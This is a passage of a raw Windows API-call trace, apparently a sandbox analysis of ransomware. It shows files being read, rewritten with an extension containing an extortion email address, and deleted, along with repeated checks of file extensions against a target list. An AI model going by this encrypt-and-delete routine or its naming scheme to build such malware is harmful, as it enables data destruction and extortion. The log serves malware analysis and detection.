	[0088.133] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0088.133] lstrlenW (lpString="MavInject32.exe") returned 15
	[0088.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.133] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=358616) returned 1
	[0088.134] CloseHandle (hObject=0x390) returned 1
	[0088.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20
	[0088.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.134] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.134] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0088.134] GetLastError () returned 0x0
	[0088.134] ReadFile (in: hFile=0x390, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x578d8, lpOverlapped=0x0) returned 1
	[0088.142] WriteFile (in: hFile=0x380, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0x578e0, lpOverlapped=0x0) returned 1
	[0088.564] ReadFile (in: hFile=0x390, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.564] WriteFile (in: hFile=0x380, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0088.564] SetEndOfFile (hFile=0x380) returned 1
	[0088.564] CloseHandle (hObject=0x380) returned 1
	[0088.575] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.575] SetEndOfFile (hFile=0x390) returned 1
	[0088.578] CloseHandle (hObject=0x390) returned 1
	[0088.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.695] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1
	[0088.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.695] lstrlenW (lpString=".doc") returned 4
	[0088.695] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.695] lstrlenW (lpString=".docx") returned 5
	[0088.695] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0088.695] lstrlenW (lpString=".pdf") returned 4
	[0088.695] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.695] lstrlenW (lpString=".xls") returned 4
	[0088.695] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.695] lstrlenW (lpString=".xlsx") returned 5
	[0088.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0088.695] lstrlenW (lpString=".ppt") returned 4
	[0088.695] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.695] lstrlenW (lpString=".zip") returned 4
	[0088.696] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.696] lstrlenW (lpString=".rar") returned 4
	[0088.696] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.696] lstrlenW (lpString=".bz2") returned 4
	[0088.696] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.696] lstrlenW (lpString=".7z") returned 3
	[0088.696] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.696] lstrlenW (lpString=".dbf") returned 4
	[0088.696] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.696] lstrlenW (lpString=".1cd") returned 4
	[0088.696] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.696] lstrlenW (lpString=".jpg") returned 4
	[0088.696] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.696] lstrlenW (lpString=".doc") returned 4
	[0088.696] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0088.696] lstrlenW (lpString=".docx") returned 5
	[0088.696] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1
	[0088.696] lstrlenW (lpString=".pdf") returned 4
	[0088.696] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0088.696] lstrlenW (lpString=".xls") returned 4
	[0088.696] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0088.696] lstrlenW (lpString=".xlsx") returned 5
	[0088.696] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1
	[0088.696] lstrlenW (lpString=".ppt") returned 4
	[0088.696] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0088.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.697] lstrlenW (lpString=".zip") returned 4
	[0088.697] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0088.697] lstrlenW (lpString=".rar") returned 4
	[0088.697] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0088.697] lstrlenW (lpString=".bz2") returned 4
	[0088.697] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0088.697] lstrlenW (lpString=".7z") returned 3
	[0088.697] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.697] lstrlenW (lpString=".dbf") returned 4
	[0088.697] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.697] lstrlenW (lpString=".1cd") returned 4
	[0088.697] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0088.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73
	[0088.697] lstrlenW (lpString=".jpg") returned 4
	[0088.697] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0088.697] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.697] lstrlenW (lpString="OfficeC2RCom.dll") returned 16
	[0088.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.698] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=996568) returned 1
	[0088.698] CloseHandle (hObject=0x390) returned 1
	[0088.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20
	[0088.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0088.698] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.698] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.698] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0089.247] GetLastError () returned 0x0
	[0089.247] ReadFile (in: hFile=0x390, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0xf34d8, lpOverlapped=0x0) returned 1
	[0089.267] WriteFile (in: hFile=0x324, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf34e0, lpOverlapped=0x0) returned 1
	[0089.284] ReadFile (in: hFile=0x390, lpBuffer=0x3b28020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.284] WriteFile (in: hFile=0x324, lpBuffer=0x3b28020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b28020*, lpNumberOfBytesWritten=0x378fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0089.284] SetEndOfFile (hFile=0x324) returned 1
	[0089.284] CloseHandle (hObject=0x324) returned 1
	[0089.928] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.929] SetEndOfFile (hFile=0x390) returned 1
	[0089.937] CloseHandle (hObject=0x390) returned 1
	[0089.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0089.937] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1
	[0089.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.937] lstrlenW (lpString=".doc") returned 4
	[0089.937] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.937] lstrlenW (lpString=".docx") returned 5
	[0089.937] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0089.937] lstrlenW (lpString=".pdf") returned 4
	[0089.937] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.937] lstrlenW (lpString=".xls") returned 4
	[0089.937] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString=".xlsx") returned 5
	[0089.938] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0089.938] lstrlenW (lpString=".ppt") returned 4
	[0089.938] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.938] lstrlenW (lpString=".zip") returned 4
	[0089.938] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString=".rar") returned 4
	[0089.938] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString=".bz2") returned 4
	[0089.938] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.938] lstrlenW (lpString=".7z") returned 3
	[0089.938] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.938] lstrlenW (lpString=".dbf") returned 4
	[0089.938] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.938] lstrlenW (lpString=".1cd") returned 4
	[0089.938] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.938] lstrlenW (lpString=".jpg") returned 4
	[0089.938] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.938] lstrlenW (lpString=".doc") returned 4
	[0089.938] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString=".docx") returned 5
	[0089.938] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0089.938] lstrlenW (lpString=".pdf") returned 4
	[0089.938] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString=".xls") returned 4
	[0089.938] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.938] lstrlenW (lpString=".xlsx") returned 5
	[0089.939] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0089.939] lstrlenW (lpString=".ppt") returned 4
	[0089.939] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.939] lstrlenW (lpString=".zip") returned 4
	[0089.939] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".rar") returned 4
	[0089.939] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.939] lstrlenW (lpString=".bz2") returned 4
	[0089.939] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.939] lstrlenW (lpString=".7z") returned 3
	[0089.939] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.939] lstrlenW (lpString=".dbf") returned 4
	[0089.939] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.939] lstrlenW (lpString=".1cd") returned 4
	[0089.939] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74
	[0089.939] lstrlenW (lpString=".jpg") returned 4
	[0089.939] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.939] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0089.939] lstrlenW (lpString="InputPersonalization.exe.mui") returned 28
	[0089.939] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.308] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=3072) returned 1
	[0090.308] CloseHandle (hObject=0x300) returned 1
	[0090.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20
	[0090.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.309] lstrlenW (lpString=".doc") returned 4
	[0090.309] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.309] lstrlenW (lpString=".docx") returned 5
	[0090.309] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0090.309] lstrlenW (lpString=".pdf") returned 4
	[0090.309] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.309] lstrlenW (lpString=".xls") returned 4
	[0090.309] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.309] lstrlenW (lpString=".xlsx") returned 5
	[0090.309] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0090.309] lstrlenW (lpString=".ppt") returned 4
	[0090.309] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.309] lstrlenW (lpString=".zip") returned 4
	[0090.309] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.309] lstrlenW (lpString=".rar") returned 4
	[0090.309] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.309] lstrlenW (lpString=".bz2") returned 4
	[0090.309] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.309] lstrlenW (lpString=".7z") returned 3
	[0090.309] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString=".dbf") returned 4
	[0090.310] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString=".1cd") returned 4
	[0090.310] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString=".jpg") returned 4
	[0090.310] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString=".doc") returned 4
	[0090.310] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.310] lstrlenW (lpString=".docx") returned 5
	[0090.310] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0090.310] lstrlenW (lpString=".pdf") returned 4
	[0090.310] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.310] lstrlenW (lpString=".xls") returned 4
	[0090.310] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.310] lstrlenW (lpString=".xlsx") returned 5
	[0090.310] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0090.310] lstrlenW (lpString=".ppt") returned 4
	[0090.310] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString=".zip") returned 4
	[0090.310] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.310] lstrlenW (lpString=".rar") returned 4
	[0090.310] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.310] lstrlenW (lpString=".bz2") returned 4
	[0090.310] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0090.310] lstrlenW (lpString=".7z") returned 3
	[0090.310] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0090.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.310] lstrlenW (lpString=".dbf") returned 4
	[0090.310] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0090.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.311] lstrlenW (lpString=".1cd") returned 4
	[0090.311] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0090.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 85
	[0090.311] lstrlenW (lpString=".jpg") returned 4
	[0090.311] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0090.311] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0090.311] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26
	[0090.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.313] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2560) returned 1
	[0090.313] CloseHandle (hObject=0x300) returned 1
	[0090.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20
	[0090.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0090.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.313] lstrlenW (lpString=".doc") returned 4
	[0090.313] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0090.313] lstrlenW (lpString=".docx") returned 5
	[0090.313] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0090.313] lstrlenW (lpString=".pdf") returned 4
	[0090.313] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0090.313] lstrlenW (lpString=".xls") returned 4
	[0090.313] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0090.313] lstrlenW (lpString=".xlsx") returned 5
	[0090.313] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0090.313] lstrlenW (lpString=".ppt") returned 4
	[0090.313] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0090.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned 83
	[0090.313] lstrlenW (lpString=".zip") returned 4
	[0090.313] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0090.313] lstrlenW (lpString=".rar") returned 4
	[0090.314] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0090.314] lstrlenW (lpString=".bz2") returned 4
	[0090.314] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
